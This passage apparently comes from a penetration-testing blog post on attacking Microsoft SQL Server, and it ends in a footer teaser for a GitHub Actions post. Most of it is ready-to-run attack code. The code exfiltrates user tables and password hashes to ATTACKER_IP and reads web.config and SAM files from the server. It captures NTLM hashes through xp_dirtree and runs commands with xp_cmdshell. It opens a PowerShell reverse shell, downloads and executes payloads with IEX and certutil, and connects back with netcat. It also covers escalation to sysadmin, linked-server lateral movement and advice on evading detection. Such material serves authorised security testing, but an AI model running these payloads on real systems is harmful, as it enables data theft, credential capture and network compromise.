-- Test outbound connectivity: SELECT from your attacker server SELECT * FROM OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT 1 AS connectivity_test' ); -- If this returns "1", you have outbound TCP to your server -- Non-standard port (e.g., 8443) SELECT * FROM OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP,8443;uid=sa;pwd=Attacker!Pass123', 'SELECT 1 AS connectivity_test' ); -- Exfiltrate user table names INSERT INTO OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT * FROM loot.dbo.exfil_tables' ) SELECT name FROM sysobjects WHERE xtype = 'U'; -- Exfiltrate actual application data INSERT INTO OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT * FROM loot.dbo.exfil_users' ) SELECT TOP 500 username, email, password_hash FROM dbo.Users; -- Exfiltrate server configuration INSERT INTO OPENROWSET( 'SQLOLEDB', 'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123', 'SELECT * FROM loot.dbo.exfil_generic' ) SELECT name + '=' + CAST(value_in_use AS NVARCHAR(50)) FROM sys.configurations WHERE name IN ('xp_cmdshell','clr enabled','Ad Hoc Distributed Queries','Ole Automation Procedures');

Column matching is critical: The INSERT INTO OPENROWSET ... SELECT pattern requires that the columns returned by your local SELECT match the columns of the remote table in number and compatible data types. If they do not match, the query fails silently or throws a type mismatch error. Use NVARCHAR(MAX) on your loot table for maximum flexibility, and cast columns as needed.

Technique 2: Local File Read (BULK Provider)

The BULK provider reads files on the database server's filesystem — anything the SQL Server service account can access. This is how you extract configuration files, connection strings, and potentially credential material without needing OS command execution.

-- Read web.config (connection strings, API keys, encryption keys) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS x; -- Read appsettings.json (.NET Core / .NET 5+ applications) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\appsettings.json', SINGLE_CLOB) AS x; -- Read machine.config (machine-wide .NET config) SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config', SINGLE_CLOB ) AS x; -- Read hosts file (internal hostname mapping) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x; -- Read SQL Server error log (may contain query fragments, paths, usernames) SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log\ERRORLOG', SINGLE_CLOB ) AS x; -- Read binary files (e.g., backup copies of SAM/SYSTEM) SELECT BulkColumn FROM OPENROWSET(BULK 'C:\temp\SAM', SINGLE_BLOB) AS x; -- Attempt registry hive copies (usually locked, but try backup locations) -- C:\Windows\repair\SAM, Volume Shadow Copies, etc.

Technique 3: NTLM Hash Capture via UNC Path

This is one of the most reliable and impactful techniques. When MSSQL accesses a UNC path (\\server\share), the SQL Server service account authenticates to the remote SMB server — sending its NTLMv2 hash. You do not need OPENROWSET enabled for this; several built-in procedures trigger UNC authentication.

-- Method 1: OPENROWSET BULK with UNC path SELECT BulkColumn FROM OPENROWSET(BULK '\\ATTACKER_IP\share\doesnotexist.txt', SINGLE_CLOB) AS x; -- File doesn't need to exist — authentication happens before file access -- Method 2: xp_dirtree (works for ANY authenticated user, not just sysadmin) EXEC xp_dirtree '\\ATTACKER_IP\share'; -- Method 3: xp_fileexist EXEC xp_fileexist '\\ATTACKER_IP\share\file.txt'; -- Method 4: xp_subdirs EXEC xp_subdirs '\\ATTACKER_IP\share'; -- Method 5: BACKUP DATABASE to UNC (requires appropriate permissions) BACKUP DATABASE master TO DISK = '\\ATTACKER_IP\share\backup.bak';

Attacker-Side Capture

# Option 1: Responder (captures NTLMv2 hash) sudo responder -I eth0 -v # Option 2: Impacket smbserver (captures hash + can serve files) sudo impacket-smbserver share /tmp/share -smb2support # Option 3: Relay instead of capture (if SMB signing is not required) sudo ntlmrelayx.py -t target_host -smb2support # After capture, crack NTLMv2 with Hashcat hashcat -m 5600 captured_hash.txt rockyou.txt -r rules/best64.rule

Why this matters: SQL Server service accounts are frequently domain accounts with elevated privileges — sometimes local admin on multiple servers, sometimes members of high-privilege AD groups. Capturing and cracking (or relaying) the service account hash can give you lateral movement across the entire environment. The xp_dirtree method is especially valuable because it does not require sysadmin or any special configuration — any authenticated database user can trigger it.


OS Access

xp_cmdshell — Operating System Command Execution

xp_cmdshell is the most direct path from SQL Server access to operating system compromise. It spawns a Windows command shell process, executes the specified command, and returns output as rows of text. This has been disabled by default since SQL Server 2005, but if you have sysadmin privileges, you can re-enable it with two configuration commands.

Enable and Execute

-- Check current state EXEC sp_configure 'xp_cmdshell'; -- run_value = 0 means disabled -- Enable (requires sysadmin) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Execute OS commands EXEC xp_cmdshell 'whoami'; EXEC xp_cmdshell 'whoami /priv'; EXEC xp_cmdshell 'hostname'; EXEC xp_cmdshell 'ipconfig /all'; EXEC xp_cmdshell 'net user'; EXEC xp_cmdshell 'net localgroup administrators'; EXEC xp_cmdshell 'net group "Domain Admins" /domain'; EXEC xp_cmdshell 'systeminfo'; EXEC xp_cmdshell 'tasklist /v'; EXEC xp_cmdshell 'netstat -ano'; EXEC xp_cmdshell 'dir C:\inetpub\wwwroot\'; EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config';

Getting a Reverse Shell

-- PowerShell reverse shell (most common) EXEC xp_cmdshell 'powershell -ep bypass -nop -c "$c=New-Object Net.Sockets.TCPClient(''ATTACKER_IP'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"'; -- Download and execute (two-stage — more reliable) EXEC xp_cmdshell 'powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/shell.ps1'')"'; -- Certutil file transfer (often less monitored than PowerShell downloads) EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER_IP/nc64.exe C:\Windows\Temp\nc64.exe'; EXEC xp_cmdshell 'C:\Windows\Temp\nc64.exe ATTACKER_IP 4444 -e cmd.exe'; -- Bitsadmin file transfer (alternative) EXEC xp_cmdshell 'bitsadmin /transfer job /download /priority high http://ATTACKER_IP/payload.exe C:\Windows\Temp\payload.exe'; -- Meterpreter via Metasploit (automated) -- In msfconsole: -- use exploit/windows/mssql/mssql_payload -- set RHOSTS target_ip -- set USERNAME sa -- set PASSWORD password -- run

Detection warning: Enabling xp_cmdshell generates SQL Server Audit events (specifically, sp_configure changes are logged). Most EDR solutions hook cmd.exe and powershell.exe child processes spawned by sqlservr.exe — this is a high-fidelity detection. In mature environments, expect this to trigger alerts within seconds. Consider stealthier alternatives (below) for environments with active monitoring.

Disable After Use

-- Clean up: disable xp_cmdshell when done EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE;

Alternatives

Beyond xp_cmdshell: Stealthier Execution Methods

When xp_cmdshell is too noisy or too monitored, MSSQL provides several alternative code execution paths. Each has different prerequisites, detection profiles, and capabilities.

sp_OACreate — OLE Automation

Instantiate COM objects within SQL Server. The classic technique uses wscript.shell to execute OS commands without touching xp_cmdshell.

-- Enable OLE Automation (requires sysadmin) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; -- Execute a command via wscript.shell DECLARE @shell INT; EXEC sp_OACreate 'wscript.shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'run', NULL, 'cmd /c whoami > C:\Windows\Temp\output.txt'; -- Read the output EXEC xp_cmdshell 'type C:\Windows\Temp\output.txt'; -- Or use OPENROWSET BULK to read it without xp_cmdshell: SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Windows\Temp\output.txt', SINGLE_CLOB ) AS x;

CLR Assembly — Custom .NET Code Execution

Load a custom .NET assembly into SQL Server for arbitrary code execution. This is the most powerful technique — you can run anything .NET can do, including fully functional reverse shells, in-memory tooling, and C# implants.

-- Enable CLR (requires sysadmin) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', 1; RECONFIGURE; -- For SQL Server 2017+, you also need: EXEC sp_configure 'clr strict security', 0; RECONFIGURE; -- Or sign the assembly with a certificate -- Create assembly from hex-encoded DLL bytes -- (Generate with: msfvenom -p windows/x64/meterpreter/reverse_tcp -- LHOST=ATTACKER_IP LPORT=4444 -f csharp, compile, convert to hex) CREATE ASSEMBLY [malicious_assembly] FROM 0x4D5A900003... -- hex bytes of your .NET DLL WITH PERMISSION_SET = UNSAFE; -- Create stored procedure mapped to CLR method CREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000) AS EXTERNAL NAME [malicious_assembly].[StoredProcedures].[cmd_exec]; -- Execute EXEC cmd_exec 'whoami';

Tool: DAFT (Database Audit Framework & Toolkit) and PowerUpSQL by NetSPI include pre-built CLR assemblies for command execution that handle the hex encoding and deployment automatically.

SQL Server Agent Jobs

Create a scheduled SQL Agent job that executes an OS command. Stealthier than xp_cmdshell because the command runs under the SQL Agent service account context, and the execution is decoupled from your session.

-- Requires sysadmin or SQLAgentOperatorRole USE msdb; EXEC dbo.sp_add_job @job_name = N'pentest_job'; EXEC dbo.sp_add_jobstep @job_name = N'pentest_job', @step_name = N'exec_cmd', @subsystem = N'CmdExec', @command = N'whoami > C:\Windows\Temp\agent_output.txt', @retry_attempts = 0, @retry_interval = 0; EXEC dbo.sp_add_jobserver @job_name = N'pentest_job'; -- Execute immediately EXEC dbo.sp_start_job @job_name = N'pentest_job'; -- Wait a moment, then read output WAITFOR DELAY '00:00:05'; SELECT BulkColumn FROM OPENROWSET( BULK 'C:\Windows\Temp\agent_output.txt', SINGLE_CLOB ) AS x; -- Clean up EXEC dbo.sp_delete_job @job_name = N'pentest_job';

Linked Server Hopping — Lateral Movement

Linked servers create persistent connections between SQL Server instances. If the target has linked servers configured (common in enterprise environments), you can execute queries — and potentially OS commands — on remote instances through the link chain.

-- Enumerate linked servers EXEC sp_linkedservers; SELECT * FROM sys.servers WHERE is_linked = 1; -- Execute query on linked server SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@SERVERNAME'); SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT SYSTEM_USER'); SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')'); -- Enable xp_cmdshell on linked server (if sysadmin there) EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME]; EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME]; EXEC ('xp_cmdshell ''whoami'';') AT [LINKED_SERVER_NAME]; -- Double-hop: linked server A → linked server B SELECT * FROM OPENQUERY([SERVER_A], 'SELECT * FROM OPENQUERY([SERVER_B], ''SELECT @@SERVERNAME'')' );

Linked server abuse is lateral movement. In large enterprises, you can chain through 3-4 linked servers and end up on a database server in a different network segment, datacenter, or even a different domain trust — all authenticated transparently. Map linked server topology early and treat each hop as a new compromise opportunity.

Comparison: Execution Methods

MethodRequirementDetection ProfileOutput Capture
xp_cmdshell sysadmin High — well-monitored, sp_configure change logged Direct (returns rows)
sp_OACreate sysadmin Medium — less commonly monitored than xp_cmdshell Indirect (write to file, read back)
CLR Assembly sysadmin Medium-Low — assembly registration logged but execution blends in Direct (custom implementation)
SQL Agent Job sysadmin or Agent role Low — Agent jobs are normal; decoupled execution Indirect (write to file)
Linked Servers Varies per link config Low-Medium — cross-server queries are normal traffic Direct (via OPENQUERY)
xp_dirtree (hash capture) Any authenticated user Low — no configuration change needed N/A (captures auth, not output)

Privilege Escalation

Escalating Within SQL Server

If you land on MSSQL as a low-privilege user and need sysadmin, there are several escalation paths:

Impersonation (EXECUTE AS)

-- Check who you can impersonate SELECT DISTINCT grantee_principal_id, permission_name, dp.name AS grantee_name, dp2.name AS grantor_name FROM sys.server_permissions sp JOIN sys.server_principals dp ON sp.grantee_principal_id = dp.principal_id JOIN sys.server_principals dp2 ON sp.grantor_principal_id = dp2.principal_id WHERE permission_name = 'IMPERSONATE'; -- Impersonate a login EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; -- Should now return 'sa' SELECT IS_SRVROLEMEMBER('sysadmin'); -- Should return 1 -- Execute as sysadmin, then do anything EXEC xp_cmdshell 'whoami'; -- Revert REVERT;

Trustworthy Database Escalation

-- Check for TRUSTWORTHY databases SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1; -- If you are db_owner of a TRUSTWORTHY database: -- You can create a stored procedure that executes as the database owner -- If the database owner is sysadmin, you get sysadmin execution context USE [trustworthy_db]; CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'your_login', 'sysadmin'; GO EXEC sp_escalate;

Service Account Abuse

-- If SQL Server service runs as a domain account: -- 1. Capture its hash via xp_dirtree/UNC -- 2. Check if it has local admin on other machines -- 3. Use it for Kerberoasting (if it has SPNs) -- 4. Check AD group memberships -- Via xp_dirtree hash capture: EXEC xp_dirtree '\\ATTACKER_IP\capture'; -- Capture hash → crack/relay → lateral movement

AD Integration

MSSQL and Active Directory

MSSQL is deeply integrated with Active Directory in most enterprise environments. This integration creates attack paths that flow bidirectionally — from AD to MSSQL and from MSSQL to AD.

Discovery via AD

# All SQL Server SPNs in the domain (reveals every instance) GetUserSPNs.py domain/user:password -dc-ip DC_IP | grep -i mssql # PowerUpSQL comprehensive discovery Get-SQLInstanceDomain | Get-SQLServerInfo # Kerberoast SQL Server service accounts GetUserSPNs.py domain/user:password -dc-ip DC_IP -request \ -outputfile sql_tgs_hashes.txt # Crack with hashcat -m 13100

From MSSQL to Domain Compromise

Compromise MSSQL (SQLi, weak creds, credential reuse) │ ├──► xp_dirtree → capture service account NTLMv2 hash │ ├──► Crack hash → credential reuse across environment │ └──► Relay hash → authenticate to other services (ntlmrelayx) │ ├──► xp_cmdshell → dump LSASS (mimikatz, procdump) │ └──► Extract cached domain credentials → lateral movement │ ├──► Linked servers → hop to other SQL instances │ └──► Different service accounts, different network segments │ └──► coerce authentication → PetitPotam, PrinterBug via xp_cmdshell └──► Relay to ADCS → domain admin certificate

Common finding: SQL Server service accounts running as domain admin, or with unconstrained delegation enabled, or with write access to Group Policy Objects. Any of these turns MSSQL compromise into immediate domain compromise. Always check the service account's AD group memberships and permissions with BloodHound after capturing or cracking the credentials.


Beyond MSSQL

Other Database Targets — Quick Reference

MSSQL is not the only database you will encounter in the field. Each platform has its own exploitation primitives:

DatabaseKey Attack VectorsTools
PostgreSQL COPY TO/FROM PROGRAM (direct OS command execution if superuser), pg_read_file() and pg_read_binary_file() for local file read, large object abuse (lo_import/lo_export) for file write, extension loading for arbitrary code execution psql, SQLMap, Metasploit
MySQL / MariaDB LOAD DATA LOCAL INFILE (read client-side files via rogue MySQL server), SELECT ... INTO OUTFILE (write files — e.g., webshell to webroot), User Defined Functions (UDF) compiled shared library loading for OS command execution mysql client, SQLMap, Metasploit, Rogue MySQL Server
Oracle Java stored procedures for OS access, DBMS_SCHEDULER for command execution, UTL_HTTP / UTL_TCP for outbound connections, TNS listener attacks, default credentials (SYS/CHANGE_ON_INSTALL, DBSNMP/DBSNMP) odat (Oracle Database Attacking Tool), SQLMap, Metasploit, tnscmd10g
MongoDB NoSQL injection ($gt, $ne, $regex operators), unauthenticated access (common on legacy versions), $where JavaScript injection for server-side code execution, SSRF via $lookup mongosh, NoSQLMap, Nuclei templates
Redis Unauthenticated access (default configuration), CONFIG SET dir/dbfilename to write SSH authorized_keys or crontabs, module loading (MODULE LOAD) for native code execution, Lua scripting via EVAL redis-cli, redis-rogue-server, Metasploit

Reference

MSSQL Exploitation Toolkit

ToolPurpose
Impacket mssqlclient.pyInteractive MSSQL client — supports Windows and SQL auth, hash authentication, xp_cmdshell enable/exec, file upload/download. The go-to for manual MSSQL interaction from Linux.
CrackMapExec / NetExecMSSQL credential spraying, command execution, enumeration: crackmapexec mssql target -u user -p pass -x 'whoami'
PowerUpSQLPowerShell toolkit for MSSQL discovery, enumeration, and exploitation in AD environments. Finds instances via SPN enumeration, audits misconfigs, tests linked servers, deploys CLR assemblies.
SQLMapAutomated SQL injection — --os-shell (interactive OS shell), --os-pwn (Meterpreter), --file-read, --file-write. Handles MSSQL stacked queries natively.
Metasploitauxiliary/scanner/mssql/mssql_login (credential testing), exploit/windows/mssql/mssql_payload (shell delivery), auxiliary/admin/mssql/mssql_exec (command execution), auxiliary/admin/mssql/mssql_escalate_dbowner
HeidiSQL / Azure Data StudioGUI clients for interactive database exploration and manual query execution when you have credentials.
ResponderCaptures NTLMv2 hashes when MSSQL authenticates to your UNC path. Essential companion to xp_dirtree / OPENROWSET UNC techniques.
ntlmrelayx (Impacket)Relay captured MSSQL service account authentication to other services instead of cracking — direct lateral movement.

Originally published circa 2012 as an OPENROWSET reference. Fully rewritten and expanded — March 2026.
For the complete penetration testing framework this belongs to, see the companion post: The Essential Penetration Testing Framework — 2026 Edition.

GitHub Actions as an Attacker's Playground

GitHub Actions as an Attacker's Playground — 2026 Edition CI/CD security • Supply chain • April 2026 ci-cd github-actions supply-c...